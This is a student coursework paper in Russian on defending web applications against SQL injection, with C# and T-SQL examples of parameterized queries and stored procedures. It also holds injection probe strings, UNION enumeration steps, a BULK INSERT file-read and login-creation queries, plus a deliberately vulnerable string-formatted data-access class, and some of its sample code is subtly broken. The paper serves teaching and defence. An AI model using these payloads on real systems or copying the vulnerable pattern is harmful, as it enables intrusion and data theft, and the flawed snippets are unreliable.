МИНОБРНАУКИ РОССИИ

Федеральное государственное бюджетное образовательное

учреждение высшего профессионального образования

«Ярославский государственный университет им. П.Г.Демидова»

Кафедра компьютерной безопасности и

математических методов обработки информации

Курсовая работа

Защита от sql-инъекций web-сайтов и приложений.

Научный руководитель

-------------

-------------

«\_\_\_» \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 2015 г.

Студент группы КБ-31СО

С.А. Попов

«\_\_\_» \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 2015 г.

Ярославль 2015

**Оглавление**

**Введение**

Внедрение SQL-кода (sql-инъекция) - это один из распространённых способов взлома сайтов и приложений, которые работают с базами данных. Атака производится злоумышленником посредством вставки вредоносного кода в строки, передаваемые на сервер системы управления базами данных для синтаксического анализа и последующего выполнения. При успешном выполнении данной атаки можно обойти систему безопасности приложения или сайта. Атака внедрением SQL-кода, в зависимости от того, какая [СУБД](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%BB%D1%8F%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%A1%D0%A3%D0%91%D0%94) используется и доступных способов внедрения, может дать атакующему возможность выполнить практически любой произвольный запрос к базе данных.

Для примера можно прочитать содержимое любых таблиц, удалить, изменить или добавить данные, получить возможность чтения и/или записи локальных файлов. В некоторых случаях злоумышленник может получить доступ к внутренней корпоративной сети организации и считать конфиденциальные данные базе данных и выполнить некоторые критические команды операционной системы сервера СУБД. Он даже может провести атаку на другие сервера, расположенные там же. Ошибочно было бы полагать, внедрение sql кода возможно только в web-приложения, на самом деле данной уязвимости подвержены любые клиент-серверные и сервис-ориентированные приложения, работающие с системой управления базами данных.

Атаки данного типа могут быть возможны из-за некорректной обработки входных данных, используемых в SQL-запросах. Разработчик прикладных программ и сайтов, работающих с базами данных, должен знать о уязвимостях такого рода и принимать меры предовращения внедрения SQL-кода.

**Предыстория**

В сфере ИТ-безопасности существует разновидность эксплойтов (exploit), с которыми сравнительно легко бороться, но которые тем не менее занимают первую позицию в рейтинге Top 10 организации OWASP: это т. н. SQL-инъекции — атаки посредством внедрения злонамеренного кода на языке SQL (Structured Query Language). Хотя эта разновидность атак существует с 1995 года, она остается одной из самых распространенных угроз для веб-активов. В статье описываются принципы атаки с использованием SQL-инъекций и рассматривается ее выполнение на "производственном" веб-сайте. После этого описывается процесс тестирования веб-сайта на наличие уязвимостей это класса с помощью продукта IBM® Security AppScan® Standard.

Как правило, атаки с использованием SQL-инъекции весьма просты, поэтому удивительно, что они до сих пор остаются одним из наиболее распространенных и наиболее опасных видов атак, доступных компьютерным взломщикам. Список жертв этих атак практически совпадает с перечнем крупнейших Интернет-компаний. Жертвами этого хорошо известного эксплойта становились даже самые защищенные веб-сайты, в том числе сайты LinkedIn, Yahoo!, ФБР и НАСА. Один из самых масштабных случаев применения SQL-инъекции имел место в 2011 году на веб-сайте Sony PlayStation Network. С помощью SQL-инъекции взломщики получили доступ к 77 миллионам учетных записей пользователей (и к сопутствующим личным данным). В результате одного только простоя по причине этой атаки компания Sony недополучила доходов на миллионы долларов. Совокупный ущерб от атак с использованием SQL-инъекций на веб-сайты, среди которых сайты крупных банков, сайты социальных сетей и т. д., исчисляется миллиардами долларов США.

**Способы защиты от sql-инъекций**

1) Использование параметризованных команд

Параметризованная команда — это просто команда, которая использует символы-заполнители в тексте SQL. Заполнитель указывает место для динамически применяемых значений, которые затем пересылаются через коллекцию Parameters объекту Command. Например, следующий оператор SQL:

SELECT \* FROM Customers WHERE CustomerID = '123'

должен стать чем-то вроде:

SELECT \* FROM Customers WHERE CustomerID = @CustID

Заполнители добавляются раздельно и автоматически кодируются.

Синтаксис параметризованных команд у различных поставщиков выглядит немного по-разному. В поставщике SQL Server предусматривается использованием именованных заполнителей (с уникальными именами). У поставщика OLE DB каждое жестко закодированное значение заменяется вопросительным знаком. В любом случае необходимо предоставить объект - Parameter для каждого параметра, который вставляется в коллекцию Command.Parameters. При работе с поставщиком OLE DB следует убедиться, что параметры добавляются в том же порядке, в котором они появляются в строке SQL. Этого не требует поставщик данных SQL Server, поскольку соответствие между параметрами и заполнителями задается с помощью имен.

Если вы предпримете попытку атаки внедрением SQL с таким типом построения sql-запроса, то обнаружите, что она не вернет никаких записей. Причина в том, что ни одна запись не имеет значения текста sql-запроса, конечно, если запрос не к справочнику по sql. В любом случае, используя параметризованные команды, ни один вредоносный скрипт, оправленный со стороны клиента не сможет выполниться.

Пример создания параметризованной команды.

string sql = string.Format("Insert Into Inventory (CarID, Make, Color, PetName)

Values(@CarId, @Make, @Color, @PetName)");

SqlCommand cmd = new SqlCommand(sql, ConnectionString)

// Добавить параметры

cmd.Parameters.AddWithValue("@CustID", id);

cmd.Parameters.AddWithValue("@Make", make);

cmd.Parameters.AddWithValue("@Color", color);

cmd.Parameters.AddWithValue("@PetName", petName);

2) Использование хранимых процедур

Вызов хранимых процедур

Параметризованные команды — лишь небольшой шаг от команд в сторону полноценных хранимых процедур. Как известно, хранимая процедура представляет собой пакет из одного или более операторов SQL, сохраненный в базе данных.

Хранимые процедуры подобны функциям в том, что они являются хорошо инкапсулированными блоками логики, которые могут принимать данные (через входные параметры) и возвращать данные (через результирующие наборы и выходные параметры). Хранимые процедуры обладают множеством преимуществ:

Их легко сопровождать. Например, вы можете оптимизировать команды в хранимой процедуре без перекомпиляции приложения, использующего ее. Также они стандартизуют логику доступа к данным в одном месте — в базе данных, — облегчая ее многократное использование согласованным образом разными приложениями. (В терминах объектно-ориентированного программирования хранимые процедуры определяют интерфейс к базе данных.)

Они позволяют реализовать более безопасное обращение с базой данных. Например, вы можете позволить учетной записи Windows, которая запускает ваш код ASP.NET, использовать определенные хранимые процедуры, но ограничить доступ к лежащим в их основе таблицам.

Они могут повысить производительность. Поскольку хранимые процедуры упаковывают вместе множество операторов, вы можете выполнить огромный объем работы за одно обращение к серверу базы данных. Если база данных находится на другом компьютере, это значительно снижает затраты времени на решение сложных задач.

В SQL Server предварительно компилируются все команды SQL, включая неподготовленные. Это значит, что вы используете преимущества компиляции независимо оттого, применяете хранимые процедуры или нет. Однако хранимые процедуры все равно имеют тенденцию повышать производительность, поскольку снижают вариантность SQL-операторов. Системам, использующим случайные операторы SQL, часто свойственно применение слегка отличающихся команд для решения похожих задач, что не позволяет серверу эффективно повторно использовать скомпилированные планы выполнения.

Пример создания хранимой процедуры

USE AdventureWorks2012;

GO

CREATE PROCEDURE HumanResources.uspGetEmployeesTest2

@LastName nvarchar(50),

@FirstName nvarchar(50)

AS

SET NOCOUNT ON;

SELECT FirstName, LastName, Department

FROM HumanResources.vEmployeeDepartmentHistory

WHERE FirstName = @FirstName AND LastName = @LastName

GO

Пример использования хранимой процедуры

SqlCommand command = new SqlCommand();

cmd.CommandText = "StoredProcedureName";

cmd.CommandType = CommandType.StoredProcedure;

SqlDataReader reader = cmd.ExecuteReader();

//далее идёт считывание данных при помощи reader

3)Проверка всех данных, вводимых пользователем

1) Проверьте размер и тип вводимых данных и установите соответствующие ограничения. Это поможет предотвратить преднамеренное переполнение буфера. Можно установить ограничение на количество вводимых символов или установить соответствие на регулярное выражение.

2) Проверяйте содержимое строковых переменных и допускайте только ожидаемые значения. Отклоняйте записи, содержащие двоичные данные, управляющие последовательности и символы комментария. Это поможет предотвратить внедрение сценария и защитит от некоторых приемов атаки, использующих переполнение буфера.

3) При работе с XML-документами проверяйте все вводимые данные на соответствие схеме.

4) Никогда не создавайте инструкции Transact-SQL непосредственно из данных, вводимых пользователем.

5) В многоуровневых средах перед передачей в доверенную зону должны проверяться все данные. Данные, не прошедшие процесс проверки, следует отклонять и возвращать ошибку на предыдущий уровень.

6) Внедрите многоэтапную проверку достоверности. Меры предосторожности, предпринятые против случайных пользователей-злоумышленников, могут оказаться неэффективными против организаторов преднамеренных атак. Рекомендуется проверять данные, вводимые через пользовательский интерфейс, и далее во всех последующих точках пересечения границ доверенной зоны.

Например, проверка данных в клиентском приложении может предотвратить простое внедрение сценария. Однако если следующий уровень предполагает, что вводимые данные уже были проверены, то любой злоумышленник, которому удастся обойти клиентскую систему, сможет получить неограниченный доступ к системе.

7) Не допускайте использование в полях следующих строк, из которых могут быть созданы имена файлов: AUX, CLOCK$, COM1–COM8, CON, CONFIG$, LPT1–LPT8, NUL и PRN.

8) По возможности отклоняйте вводимые данные, содержащие следующие символы:

a) Разделитель запросов - ;

b) Разделитель строк символьных данных - '

c) Разделитель комментариев - --

d) Разделители комментариев. Текст, заключенный между символами /\* и \*/, не обрабатывается сервером - /\* ... \*/

e) Используется в начале имен расширенных хранимых процедур каталога, например xp\_cmdshell - xp\_

**Алгоритм выявления возможности внедрения sql-кода**

Невозможно написать точный порядок действий, после которых можно будет с легкостью прочитать конфиденциальные данные из базы данных, на которую производится атака, но приблизительный алгоритм всё-таки можно описать.

Первое, что необходимо сделать - попробовать вызвать аномальное поведение страницы web-приложения. Для этого необходимо вставить определенные символы в поле ввода данных или в любые другие данные, которые в последствии будут отправлены на сервер. Это может быть поле поиска на сайте или в приложении, а также , передаваемые на сервер параметры, которые находятся либо в url либо в теле запроса. Для примера - вот что можно вставить вместо "PriceID=5":

1. PriceID=5' or 1=1--
2. PriceID=5" or 1=1--
3. PriceID=5 or 1=1--
4. PriceID=5' or 'a'='a
5. PriceID=5" or "a"="a
6. PriceID=5') or ('a'='a
7. PriceID=5'
8. PriceID=5 --
9. PriceID=5 /\*
10. PriceID=--
11. PriceID=5"--

Все те же самые действия можно проделать, заменив ключевое слово or на and.

Если не удаётся распознать нестандартное поведение - можно попробовать распознать подверженность sql-инъекциям посредством зависания страницы на некоторое время. Для примера - время зависания будет 10 секунд:

1. PriceID=5;waitfor delay '0:0:10'--
2. PriceID=5);waitfor delay '0:0:10'--
3. PriceID=5';waitfor delay '0:0:10'--
4. PriceID=5');waitfor delay '0:0:10'--
5. PriceID=5));waitfor delay '0:0:10'--

Если после этих действий выявить аномальное поведение не удалось - попробуйте поменять изначальные данные, возможно, это приведёт к ошибке на сервере и вы сможете увидеть либо ошибку с выводом всего sql запроса либо другие подсказки.

**Алгоритм внедрения sql-кода**

Рассмотрим самую распространённую атаку посредством внедрения Union SQL-инъекции. Использование этой техники основано на применении оператора UNION. Он позволяет объединить результаты выполнения нескольких запросов SELECT. Для того, чтобы запрос при помощи этого оператора выполнился успешно, необходимо, чтобы у двух выражений SELECT было одинаковое количество и тип аргументов. Иначе СУБД сгенерирует исключение, которое возможно подскажет вам некоторую необходимую информацию, но чаще всего оно обработается на стороне сервера и вы увидите страницу ошибки. Лучшим исходом такой атаки будет страница, которая отобразится пользователю некорректно.

Для начала необходимо узнать количество аргументов передаваемых в sql-запросе. Злоумышленник может перебором определить это число, но более разумных методом будет использование оператора ORDER BY. Такой тип определения считается универсальным. При несовпадении количества аргументов обычно отображается информация об ошибке либо перенаправление на страницу ошибки.

Для определения количества аргументов в качестве уязвимого строкового параметра передаются последовательно следующие значения:

1. ORDER BY 1--
2. ORDER BY 2--
3. ORDER BY 3--
4. ORDER BY 4-- //Возникло исключение. Наподобие :

"  System.Data.SqlClient.SqlException: The ORDER BY position number 5 is out of range of the number of items in the select list." Или вы были перенаправлены на страницу ошибки.

Таким образом, количество аргументов в SQL-запросе равно трем. Обычно на практике применяется не линейный, а бинарный поиск, так как количество полей в запросе может быть значительным. Напомним, что время подбора количества аргументов при бинарном поиске равно O(log(n)), где n - это количество аргументов в запросе. После того, как злоумышленник определил количество аргументов, перебором определяется для каких аргументов задано ограничение NOT NULL и соответственно тип этих аргументов (числовой, строковый или дата). В качестве остальных аргументов обычно передается null или простое значение, наподобие пробела, исмвола, цифры 1 и так далее. Пример:

1. UNION SELECT ‘test’, null, null FROM Lessons--
2. UNION SELECT null, ‘test’, null FROM Lessons--

После того, как определено количество нулевых аргументов и не нулевых аргументов (NOT NULL), а также их типов (числовой, строковый и дата), затем передаётся злоумышленником нужный SQL-запрос, который должен возвращать строку.

Можно прочитать файл, хранящийся на сервере , записав его в таблицу и затем вывести все значения файла:

CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM 'c:\csb.log';

//далее вывод любым способом

DROP TABLE mydata; //Удаление созданной таблицы

Пример sql-injections для моего приложения.

Определение версии sql сервера :

select @@VERSION

Определение хоста

SELECT HOST\_NAME()

Создание пользователя базы данных

EXEC [sp\_addlogin](http://msdn2.microsoft.com/en-us/library/ms173768.aspx) ‘user’, ‘pass’;

Удаление пользователя базы данных

EXEC [sp\_droplogin](http://msdn2.microsoft.com/en-us/library/ms189767.aspx) ‘user’;

Способы определение текущего пользователя:

 SELECT system\_user;   
 SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

Способы определения текущей базы данных:

 SELECT db\_name()

Способ определения всех серверов

SELECT \* FROM master..sysservers

Вывод списком всех пользователей база данных:

SELECT name FROM master..syslogins

запрос, выводящий все таблицы, созданные администратором базы данных

select name from sys.tables

запрос, выводящий все колонки, созданные администратором базы данных

select name from sys.all\_columns

Запрос выводящий все колонки из таблицы 'table'

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'table');

запрос, выводящий все колонки и соответсвующие им таблицы

select nametable, name from sys.all\_columns, (select name as nametable, object\_id as id from sys.tables) as viewing where id=sys.all\_columns.object\_id

# 

**Заключение**

# Список литературы:

# Приложение

Листинг1 - Абстрактный базовый класс

public abstract class LessonsDal

{

public abstract void InsertLesson(Lesson lesson);

public abstract Lesson GetLessonById(int id);

public abstract void DeleteLessonById(int id);

protected abstract SqlConnection \_sqlConnection { get; set; }

protected List<Lesson> GetLessonsByCommand(SqlCommand command)

{

\_sqlConnection.Open();

var lessons = new List<Lesson>();

using (SqlDataReader reader = command.ExecuteReader())

{

while (reader.Read())

{

byte[] data = (byte[]) reader["Data"];

lessons.Add(LessonsInfoData.GetLesson(data));

}

}

\_sqlConnection.Close();

return lessons;

}

protected List<LessonInfoId> GetLessonsInfoByCommand(SqlCommand command)

{

\_sqlConnection.Open();

var lessons = new List<LessonInfoId>();

using (SqlDataReader reader = command.ExecuteReader())

{

while (reader.Read())

{

var id = (int)reader["id"];

var title = reader["Title"].ToString();

var autor = reader["Autor"].ToString();

var dateCreate = (DateTime)reader["DateCreate"];

lessons.Add(new LessonInfoId(title, autor, id, dateCreate));

}

}

\_sqlConnection.Close();

return lessons;

}

protected string GetNameField(TypeSearch typeSearch)

{

switch (typeSearch)

{

case TypeSearch.Title:

return "Title";

case TypeSearch.Autor:

return "Autor";

case TypeSearch.DateCreate:

return "DateCreate";

}

throw new InstanceNotFoundException();

}

public abstract List<LessonInfoId> GetLessonsByFieldsExactly(List<KeyValuePair<TypeSearch, string>> parameters);

public abstract List<LessonInfoId> GetLessonsByFieldsLikely(List<KeyValuePair<TypeSearch, string>> parameters);

}

Листинг -2. Класс - наследник с параметризованными методами

public class ParamLessonsDal : LessonsDal

{

protected override sealed SqlConnection \_sqlConnection { get; set; }

public ParamLessonsDal(SqlConnectionStringBuilder builder)

{

\_sqlConnection = new SqlConnection(builder.ConnectionString);

}

public ParamLessonsDal(string cnString)

{

\_sqlConnection = new SqlConnection(cnString);

}

public void Dispose()

{

\_sqlConnection.Close();

}

public override void InsertLesson(Lesson lesson)

{

\_sqlConnection.Open();

string sqlInsertLesson =

string.Format("Insert Into Lessons (Title, DateCreate, Size, Data, Autor) Values (@Title, @DateCreate, @Size, @Data, @Autor)");

var lessonInfo = new LessonsInfoData(lesson);

GetCommandeInsert(sqlInsertLesson, lessonInfo).ExecuteNonQuery();

\_sqlConnection.Close();

}

private SqlCommand GetCommandeInsert(string sqlCommande, LessonsInfoData lessonInfo)

{

var command = new SqlCommand(sqlCommande, \_sqlConnection);

command.Parameters.AddWithValue("@Title", lessonInfo.Title);

command.Parameters.AddWithValue("@Autor", lessonInfo.Autor);

command.Parameters.AddWithValue("@Size", lessonInfo.Size);

command.Parameters.AddWithValue("@Data", lessonInfo.Data);

command.Parameters.AddWithValue("@DateCreate", lessonInfo.DateCreate);

return command;

}

private SqlCommand SetParamForCommand(string sqlCommand, int id)

{

var command = new SqlCommand(sqlCommand, \_sqlConnection);

command.Parameters.AddWithValue("@id", id);

return command;

}

public override Lesson GetLessonById(int id)

{

string sqlSelectById =

string.Format("select Title, Size, DateCreate, Data, Autor from Lessons where id = @id");

var lessons = GetLessonsByCommand(SetParamForCommand(sqlSelectById, id));

if (lessons.Count > 1)

throw new InvalidDataException("There are lessons more than one in the data base");

return lessons.First();

}

public override void DeleteLessonById(int id)

{

string sqlDeleteById = string.Format("delete from Lessons where id = @id");

\_sqlConnection.Open();

SetParamForCommand(sqlDeleteById, id).ExecuteNonQuery();

\_sqlConnection.Close();

}

private string GetConditionLike(string value)

{

return string.Format("like CONCAT('%', @{0}, '%')", value);

}

private string GetConditionalEquals(string value)

{

return string.Format("=@{0}", value);

}

private List<LessonInfoId> GetLessonsByFields(List<KeyValuePair<TypeSearch, string>> parameters, Func<string, string> getConditional)

{

string sqlSelect = string.Format("select id, Title, Autor, DateCreate from Lessons where ");

if (parameters.Count == 0) throw new ArgumentNullException("Amount parameters equals zero");

sqlSelect += string.Format("{0} {1}", GetNameField(parameters[0].Key), getConditional(GetNameField(parameters[0].Key)));

for (int i = 1; i < parameters.Count; i++)

{

sqlSelect += string.Format(" and {0} {1}", GetNameField(parameters[i].Key), getConditional(GetNameField(parameters[i].Key)));

}

var command = new SqlCommand(sqlSelect, \_sqlConnection);

for (int i = 0; i < parameters.Count; i++)

{

command.Parameters.AddWithValue("@" + GetNameField(parameters[i].Key), parameters[i].Value);

}

return GetLessonsInfoByCommand(command);

}

public override List<LessonInfoId> GetLessonsByFieldsExactly(List<KeyValuePair<TypeSearch, string>> parameters)

{

return GetLessonsByFields(parameters, GetConditionalEquals);

}

public override List<LessonInfoId> GetLessonsByFieldsLikely(List<KeyValuePair<TypeSearch, string>> parameters)

{

return GetLessonsByFields(parameters, GetConditionLike);

}

}

Листинг - 3. Не параметризованными методы класса-наследник SimplyLessonsDal

public class SimplyLessonsDal :LessonsDal

{

public override void InsertLesson(Lesson lesson)

{

var lessonInfo = new LessonsInfoData(lesson);

string sqlInsertLesson =

string.Format("Insert Into Lessons (Title, DateCreate, Size, Data, Autor) Values ('{0}', '{1}', '{2}', @Data, '{3}')",

lessonInfo.Title, lessonInfo.DateCreate, lessonInfo.Size, lessonInfo.Autor);

var command = new SqlCommand(sqlInsertLesson, \_sqlConnection);

command.Parameters.AddWithValue("@Data", lessonInfo.Data);

\_sqlConnection.Open();

command.ExecuteNonQuery();

\_sqlConnection.Close();

}

public override Lesson GetLessonById(int id)

{

string sqlSelectById =

string.Format("select Title, Size, DateCreate, Data, Autor from Lessons where id = '{0}'",id);

var command = new SqlCommand(sqlSelectById, \_sqlConnection);

var lessons = GetLessonsByCommand(command);

return lessons.First();

}

public override void DeleteLessonById(int id)

{

string sqlDeletetById = string.Format("delete from Lessons where id = '{0}'",id);

\_sqlConnection.Open();

new SqlCommand(sqlDeletetById).ExecuteNonQuery();

\_sqlConnection.Close();

}

private string GetConditionLike(string value)

{

return string.Format("like CONCAT('%', '{0}', '%')", value);

}

private string GetConditionalEquals(string value)

{

return string.Format("='{0}'", value);

}

private List<LessonInfoId> GetLessonsByFields(List<KeyValuePair<TypeSearch, string>> parameters, Func<string, string> getConditional)

{

string sqlSelect = string.Format("select id, Title, Autor, DateCreate from Lessons where ");

if (parameters.Count == 0)

throw new ArgumentNullException("Amount parameters equals zero");

sqlSelect += string.Format("{0} {1}", GetNameField(parameters[0].Key), getConditional(parameters[0].Value));

for (int i = 1; i < parameters.Count; i++)

{

sqlSelect += string.Format(" and {0} {1}", GetNameField(parameters[i].Key), getConditional(parameters[0].Value));

}

var command = new SqlCommand(sqlSelect, \_sqlConnection);

return GetLessonsInfoByCommand(command);

}

}

Листинг - 4. Методы, реализованные через хранимые процедуры класса-наследника StoreProcedureLessonsDal

public class StoreProcedureLessonsDal : LessonsDal

{

public override void InsertLesson(Lesson lesson)

{

\_sqlConnection.Open();

var lessonInfo = new LessonsInfoData(lesson);

GetCommandeInsert("InsertLesson", lessonInfo).ExecuteNonQuery();

\_sqlConnection.Close();

}

private SqlCommand GetCommandeInsert(string sqlCommande, LessonsInfoData lessonInfo)

{

var command = new SqlCommand(sqlCommande, \_sqlConnection) {CommandType = CommandType.StoredProcedure};

command.Parameters.AddWithValue("@Title", lessonInfo.Title);

command.Parameters.AddWithValue("@Autor", lessonInfo.Autor);

command.Parameters.AddWithValue("@Size", lessonInfo.Size);

command.Parameters.AddWithValue("@Data", lessonInfo.Data);

command.Parameters.AddWithValue("@DateCreate", lessonInfo.DateCreate);

return command;

}

public override Lesson GetLessonById(int id)

{

var lessons = GetLessonsByCommand(SetParamForCommand("GetLessonById", id));

if (lessons.Count > 1)

throw new InvalidDataException("There are lessons more than one in the data base");

return lessons.First();

}

private SqlCommand SetParamForCommand(string sqlCommand, int id)

{

var command = new SqlCommand(sqlCommand, \_sqlConnection) {CommandType = CommandType.StoredProcedure};

command.Parameters.AddWithValue("@id", id);

return command;

}

public override void DeleteLessonById(int id)

{

\_sqlConnection.Open();

SetParamForCommand("DeleteLessonById", id).ExecuteNonQuery();

\_sqlConnection.Close();

}

Листинг - 5. Создание хранимых процедур на sql-сервере.

1) Процедура удаления урока.

USE [NewBase]

GO

SET ANSI\_NULLS ON

GO

SET QUOTED\_IDENTIFIER ON

GO

Create procedure [dbo].[DeleteLessonById]

@id int

as

delete from Lessons where Lessons.id=@id

2) Процедура получения урока по ID

USE [NewBase]

GO

SET ANSI\_NULLS ON

GO

SET QUOTED\_IDENTIFIER ON

GO

Create PROCEDURE [dbo].[GetLessonById]

@id int

AS

SELECT Lessons.id, Lessons.Title, Lessons.Autor, Lessons.Size, Lessons.DateCreate, Lessons.Data from Lessons where Lessons.id=@id

3) Процедура получения урока без бинарной информации

USE [NewBase]

GO

SET ANSI\_NULLS ON

GO

SET QUOTED\_IDENTIFIER ON

GO

Create procedure [dbo].[GetLessonWithoutDataById]

@id int

as

SELECT Lessons.id, Lessons.Title, Lessons.Autor, Lessons.Size, Lessons.DateCreate from Lessons where Lessons.id=@id

4) Процедура вставки урока в хранилище базы данных

USE [NewBase]

GO

SET ANSI\_NULLS ON

GO

SET QUOTED\_IDENTIFIER ON

GO

Create PROCEDURE [dbo].[InsertLesson]

@Title nvarchar(50),

@Autor nvarchar(50),

@DateCreate datetime,

@Size nvarchar(50),

@Data varbinary(max)

AS

INSERT INTO [dbo].[Lessons]

([Title],

[Autor],

[DateCreate],

[Size],

[Data]

)

VALUES

(@Title,@Autor,@DateCreate,@Size,@Data)